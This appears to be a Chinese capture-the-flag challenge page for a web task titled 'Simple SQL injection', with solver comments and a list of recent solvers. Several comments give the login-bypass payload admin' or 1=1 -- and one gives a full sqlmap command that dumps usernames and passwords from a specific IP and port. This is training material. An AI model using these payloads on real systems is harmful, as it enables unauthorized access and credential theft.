Simple SQL injectionWEB 未解决

分数: 10 金币: 2
题目作者: qingshen
一　　血: lzq2000
一血奖励: 2金币
解　　决: 1938
提　　示:
描　　述:

flag{}

...
登录回复
评论
juicebug 1月前
举报

sqlmap自动破解哈希密码得到passward是假的flag{},需直接用看似密文的明文作为密码登入得到真flag{}

回复 0
hm001223 1月前
举报

flag{***}

回复 0
xiaoroubao 2月前
举报

我靠，通过sqlmap找到数据库里的字段，我看密码还以为是加密过的，在哪里解密半个小时，原来密码也是明文的

回复 0
WWls= 2月前
举报

fuzz爆破直接秒了

回复 0
i11us0ry 3月前
举报

以为是注入 没想到是万能密码

回复 0
苦瓜king 3月前
举报

admin' or 1=1 --

回复 0
下辈子一定学会 3月前
举报

用户名admin' or 1=1 -- 密码随便输就可以进去了，万能密码绕过登录验证

回复 3
azerl7 3月前
举报

最好的密码就是这样，让别人猜到底是不是密码，你猜我这个是屏蔽了还是我写的，****

回复 0
cisp7 3月前
举报

Flag{}4f8b65015

回复 0
b2026tf 4月前
举报

执行命令：sqlmap.py -u http://103.236.73.121:15822/article?id=1 -T users -C username,password --dump

回复 0

WriteUp

image
lzq2000

2 金币

立即查看

评分(8)

解题动态

SHW 攻破了该题 1小时前
wdzjl001 攻破了该题 2小时前
suyifeim4 攻破了该题 2小时前
秋叶沙沙 攻破了该题 1天前
小白d 攻破了该题 1天前
The Weeknd 攻破了该题 1天前
xuyibo 攻破了该题 3天前
17634319503 攻破了该题 3天前
bisheng 攻破了该题 4天前
233333l 攻破了该题 4天前
tiangufen 攻破了该题 4天前
cyberneko 攻破了该题 4天前
180帅哥 攻破了该题 4天前
kevin02686 攻破了该题 4天前
thePaK 攻破了该题 4天前
LightPing 攻破了该题 5天前
a000b000 攻破了该题 5天前
jinxdiave 攻破了该题 5天前
13339890167 攻破了该题 5天前
dawndawnz 攻破了该题 5天前
问题反馈